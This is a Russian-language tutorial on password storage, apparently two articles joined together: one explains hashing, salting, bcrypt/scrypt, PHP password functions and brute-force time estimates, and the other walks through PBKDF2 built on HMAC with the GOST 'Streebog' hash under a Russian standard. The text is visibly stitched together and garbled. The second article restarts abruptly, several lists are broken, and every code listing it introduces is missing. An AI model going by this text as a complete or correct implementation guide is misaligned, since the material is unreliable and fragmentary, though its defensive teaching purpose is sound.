Вот пример хешей от пароля ‘strongpassword’: md5(‘strongpassword’) = f93fc10472a31bb3061aa0b45e228c5a , sha1(‘strongpassword’) = 2ae868079d293e0a185c671c7bcdac51df36e385 . Здесь хеши записаны в 16-чной системе счисления с помощью символов 0-9, a-f.
Итак, если вместо пароля хранить его хеш, то мы по-прежнему можем проверить, правильный ли пароль ввел пользователь (получив его хеш и сравнив с тем, что хранится в базе), но не можем получить исходный пароль. Однако, просто хеширования недостаточно и этот подход имеет такие недостатки:
- если у двух пользователей одинаковые пароли, то и хеши у них будут одинаковые
- пользователи часто выбирают простые пароли, и у злоумышленника может быть заготовлена таблица хешей от популярных паролей вроде ‘123456’
И есть еще один, самый главный недостаток — все хеши можно подбирать одновременно. Допустим, злоумышленник украл базу с хешами паролей. Он начинает их подбирать, перебирая все возможные пароли, вычисляя для каждого хеш и сравнивая с украденной базой. Проблема в том, что все пароли перебираются по сути одновременно — злоумышленник нашел хеш для пароля ‘1’, сравнил его со всеми хешами в базе, и за один шаг узнал, есть ли в базе такой пароль или нет.
Для борьбы с этими недостатками используют «соление» паролей перед хешированием. При регистрации пользователя генерируется соль (salt) — случайный набор символов вроде H*5$@)_-hPoI&^530 . Соль не видна пользователю, потому она может быть сложной и длинной. Затем мы присоединяем соль к паролю, для пароля 123456 в итоге получается строка H*5$@)_-hPoI&^530:123456 . И затем уже от этой строки берем хеш и сохраняем в базу соль и хеш.
Благодаря добавлению соли даже одинаковые пароли получают разные хеши (так как у них разная соль), а таблицы заранее вычисленных хешей для популярных паролей становятся бесполезными. И атакующий теперь при переборе вынужден подбирать пароль для каждого хеша индивидуально, что сильно замедляет работу.
Для удобства хранения многие функции объединяют хеш пароля и соль, которая использовалась при хешировании, в одну строку, например такого формата: соль$хеш . Таким образом функция хеширования пароля может вернуть сразу и хеш, и сгенерированную ей соль.
Вычисление классчических хешей вроде md5 очень быстро делается на современном железе (до миллиардов хешей в секунду). Чтобы усложнить перебор, можно использовать более «тяжелые» для вычисления хеши, например http://ru.wikipedia.org/wiki/Bcrypt и http://ru.wikipedia.org/wiki/Scrypt где можно задавать сложность вычисления хеша (а в scrypt — еще и необходимый объем памяти). Сложные алгоритмы также не позволяют сделать специализированные устройства для ускорения вычисления хешей (так называемые ASIC’и), требуя наличия стандартного процессора и большого объема памяти.
Встроенные в PHP криптографические функции хеширования
В PHP5.5 и новее
В PHP5.5 сделали стандартный набор функций для работы с паролями, среди которых есть:
-
— генерирует соль и возвращает эту соль и хеш для данного пароля — используется для проверки пароля, принимает на вход пароль и соленый хеш и проверяет, соответствует ли пароль хешу
Функция password_hash возвращает строку, которая содержит сразу хеш, соль и обозначение использованного алгоритма хеширования, так что для их хранения достаточно одной ячейки в базе данных. Подробнее:
-
— генерирует хеш с использованием алгоритма MD5. Хеш состоит из 32 символов из набора [0-9a-f] — генерирует хеш с использованием алгоритма SHA-1, возвращает хеш из 40 символов из набора [0-9a-f] содержит функции хеширования для различных алгоритмов
- Функция openssl_digest из расширения openssl позволяет хешировать данные различными алгоритмами
Чтобы сгенерировать соль, необходим надежный (непредсказуемый) криптографический генератор случайных чисел. В качестве него можно использовать:
- добавленную в PHP7 функцию random_bytes() из расширения SSL, при этом важно прочитать документацию и убедиться, что используется надежный алгоритм
- на linux/mac можно читать случайные данные из /dev/random
Библиотека https://github.com/paragonie/random_compat умеет выбирать подходящую функцию из имеющихся в наличии. Обратите внимание, что функции rand() и mt_rand() не являются криптографически надеждными, так как они используют относительно простой алгоритм и, имея несколько сгенерированных чисел, можно предсказать следующие.
Оценка сложности подбора пароля, зная хеш
Перебор без соли
Предположим, у нас есть база хешей паролей без соли, использующая алгоритм MD5. Для ее взлома мы перебираем все возможные пароли (например, начиная с 1111111 и заканчивая zzzzzzz) и вычисляем от каждого MD5-хеш. При этом число вариантов, которые надо подобрать, зависит от длины пароля и набора символов (чем их больше тем больше перебирать). Скорость вычисления MD5 хеша на топовых видеокартах в 2011 году составляла около 2 миллиардов в секунду ( http://www.opennet.ru/opennews/art.shtml?num=30201 и http://hashcat.net/oclhashcat/ ). А ведь можно взять не одну видеокарту, а много, если очень надо. Также, злоумышленник с большим количеством ресурсов может сделать специализированное устройство, работающее с более высокой скоростью (такие устройства делались для генерации биткоинов).
Заметим, что из-за отсутствия соли мы подбираем пароли для всех хешей в базе параллельно, с примерно такой же скоростью, как и для одного хеша.
Если пароль состоит из N символов, и всего использованы M различных видов символов, то число возможных вариантов паролей, которые придется перебрать, равняется M N (M в степени N). Например:
- если в пароле 12 цифр 0-9 : число комбинаций = 10 12 = 1000 миллиардов = 500 секунд перебора на 1 видеокарте.
- если в пароле 6 букв a-z или цифр 0-9 . Число вариантов = 36 6 (считаем гуглом) = 2 млрд. Около секунды.
- если в пароле 6 букв a-zA-Z (добавим буквы в разном регистре) и цифр 0-9 . Комбинаций 62 6 = 56 млрд., или 28 секунд перебора.
- если в пароле 8 букв a-zA-Z и цифр 0-9 . Комбинаций уже 62 8 = 218 триллионов. Это примерно 109000 секунд перебора (в часе 3600 секунд, так что выходит 30 часов) на 1 карточке.
- если в пароле 10 символов из набора a-zA-Z0-9 или дополнительных 20 знаков вроде минус, плюс, то выходит 82 10 комбинаций
Люди часто ставят паролем не случайный набор букв, а слова или куски слов. Значит, какие-то символы рядом встречаются чаще, их можно перебирать в первую очередь, тем самым сокращая число вариантов и ускоряя время нахождения. У злоумышленников есть словари, а также огромные списки паролей, полученные ими из предыдущих взломов и утечек.
В общем, видно, что без добавления соли пароли подберутся на раз. И не все ставят 10-символьные пароли, у многих там просто слово или цифры.
В случае добавления соли указанное время выше подбора будет относиться к подбору одного хеша, а не ко всей базе.
Другой вариант — сгенерировать или скачать огромные радужные таблицы, где хранятся уже рассчитанные цепочки хешей (для простых паролей). И конечно все хеши от обычных паролей длиной до 10 символов там уже есть (больше нету, так как они начинают занимать гигабайты. Но это вопрос времени, когда жесткие диски станут больше). Если хранить в базе хеш без соли, то взлом будет очень быстрым.
Посмотреть, какого размера получаются таблицы, можно тут: http://project-rainbowcrack.com/table.htm
Вот пример такой таблицы: md5_loweralpha-numeric#1-10 316 GB — подбирает пароли без соли до 10 символов [a-z0-9].
Заметим что в будущем компьютеры будут мощнее, и значит подбираться пароли будут быстрее. Теперь подумаем, как защититься и усложнить жизнь взломщикам:
Правильное хеширование паролей

Наверняка вам известно, что хорошая система контроля доступа, основанная на вводе и проверке правильности пароля, никогда и нигде не сохраняет пароли в открытом виде, а проверяет введенный пользователем пароль с использованием хеш-суммы этого пароля. А очень хорошие системы еще и добавляют к ним «соль» — случайную строку, которая для каждого пользователя уникальна. В этой статье мы на практике рассмотрим вопросы правильного хеширования паролей, руководствуясь при этом актуальными российскими методическими рекомендациями.
Как выглядят записи в базе данных пользователей «хороших систем контроля доступа»? Примерно так (здесь видны имя учетной записи пользователя, значение соли и значение хеша):
Таким образом, на основе введенного пользователем пароля и соответствующего ему значения соли с помощью того или иного алгоритма вычисляется хеш. Далее он сравнивается с записанным в базе: если они совпадают, пользователь допускается в систему, если не совпадают, пользователю в допуске будет отказано. Все, в общем-то, совсем не сложно. Главный вопрос заключается в том, каким образом и каким алгоритмом считать этот самый хеш из значений введенного пароля и соли. Если как следует порыться в весьма объемном ворохе отечественных нормативно-методических документов, посвященных криптографии, то можно обнаружить документ, который поможет нам дать ответ на этот вопрос.
Документ называется «Рекомендации по стандартизации Р 50.1.111—2016. Информационная технология. Криптографическая защита информации. Парольная защита ключевой информации». Он разработан техническим комитетом по стандартизации ТК 26 «Криптографическая защита информации» и представляет собой расширение международного стандарта PKCS #5 Version 2.0 (Public Key Cryptography Standart: Password-Based Cryptography Specification): в процедуру хеширования, описанную в PKCS #5, внесена возможность использовать алгоритм из ГОСТ Р 34.11—2012 (да-да, это тот самый «Стрибог» — похоже, нынче без него никуда).
Общая схема и исходные данные
Основу алгоритма получения хеша составляет так называемая функция диверсификации PBKDF версии 2.0 (Password-Based Key Derivation Function). Данная функция реализуется путем применения псевдослучайной хеш-функции к строке, в нашем случае к паролю, вместе с солью, процесс повторяется большое число раз.

Общая схема выработки нужного хеша
В качестве псевдослучайной хеш-функции мы будем использовать функцию вычисления аутентификационного кода сообщения HMAC_GOST3411 (Hash-based Message Authentication Code) на основе, как ты уже догадался, хеш-функции «Стрибог». Исходные данные для алгоритма:
- введенный пользователем пароль (длина не более 512 бит, или 64 байт);
- значение соли (произвольной длины);
- число итераций (минимально допустимое значение — 1000, максимально допустимое — 4 294 967 295);
- необходимая длина вычисляемого хеша.
Псевдослучайная хеш-функция HMAC_GOST3411
Сама функция HMAC_GOST3411 описана в другом нормативно-методическом документе Р 50.1.113—2016 и включает в себя следующие этапы:
- дополнение нулями введенного пароля до длины в 64 байт (конечно, в том случае, если его длина меньше этого значения);
- побайтовое сложение по модулю 2 получившегося на предыдущем этапе дополненного пароля с 64-байтовой константой ipad , в которой каждый байт равен 0x36;
- конкатенация получившегося на предыдущем этапе значения с солью и подсчет «стрибог»-хеша из полученной строки;
- конкатенация результата побайтового xor дополненного пароля с 64-байтовой константой opad (значение каждого байта равно 0x5c) с получившимся на предыдущем этапе результатом;
- подсчет «стрибог»-хеша из результата предыдущего этапа.
Перед тем как писать код самой функции HMAC_GOST3411, необходимо определить нужные константы ipad и opad и написать функцию подсчета «стрибог»-хеша байтового массива произвольной длины.
Определение констант
Поскольку в ходе подсчета значений хеш-сумм мы оперируем 64-байтовыми блоками, то зададим размер этого блока:
Константу ipad определим таким образом:
а константу opad таким:
Для экономии места здесь константы описаны не полностью, на самом деле каждая из них длиной по 64 байт.
Функция подсчета «стрибог»-хеша
Для начала скачаем и подключим нужные файлы, в которых реализованы базовые функции алгоритма «Стрибог»:
Далее напишем саму функцию. На вход функции подается указатель на строку с исходными данными, указатель на массив, куда будет записан искомый хеш, длина искомого хеша (512 или 256 бит) и длина массива исходных данных:
Определяем структуру CTX для хранения всего, что нужно при подсчете хеша, и выделяем для нее память:
Создаем промежуточный буфер и записываем в него исходную строку:
Считаем хеш-сумму и пишем результат в выходной байтовый массив:
Пишем непосредственно саму функцию HMAC_GOSTR3411
Объявим эту функцию таким образом:
На вход идут: указатель на байтовый массив с паролем, длина пароля, указатель на байтовый массив с солью, длина соли и указатель на байтовый массив, куда будем записывать результат вычислений.
Далее произведем дополнение пароля нулями и поксорим результат дополнения с ipad :
Присоединим к полученному соль и вычислим значение «стрибог»-хеша полученного массива:
Поксорим дополненный пароль с opad , соединим с хешем, вычисленным на предыдущем шаге, и второй раз посчитаем «стрибог»-хеш. Результат запишем в HMAC:
Основа функции PBKDF в виде HMAC_GOSTR3411 написана, можно приступать к реализации непосредственно самой PBKDF.
Password-Based Key Derivation Function
Первым делом необходимо определить количество 64-байтовых блоков в искомом хеше, для чего установленную ранее длину нужного нам хеша от пароля и соли делим на 64 и округляем результат до ближайшего целого в большую сторону (к примеру, если требуемая длина искомого хеша равна 100 байт, то количество блоков будет равно двум, в стандарте про округление в большую сторону напрямую не сказано, однако это надо иметь в виду). Количество блоков искомого хеша определяет число циклов, каждый из которых включает в себя некоторое число итераций C (об этом числе мы уже говорили выше).
Результатом первой итерации будет результат вычисления HMAC_GOSTR3411 от пароля и значения соли с присоединенным к нему значением текущего номера цикла в байтовом представлении (напомню, номер цикла изменяется в пределах от единицы до N , где N — число блоков в искомом хеше). Результатом последующих итераций будет результат вычисления HMAC_GOSTR3411 от пароля и значения HMAC_GOSTR3411, полученного на предыдущей итерации. Далее результаты каждой итерации побайтно ксорятся между собой, и в итоге мы получаем результат вычислений одного цикла T ( i ) , где i лежит в пределах от единицы до N (число блоков искомого хеша).

Схема i-го цикла функции PBKDF (в данном случае i = 1)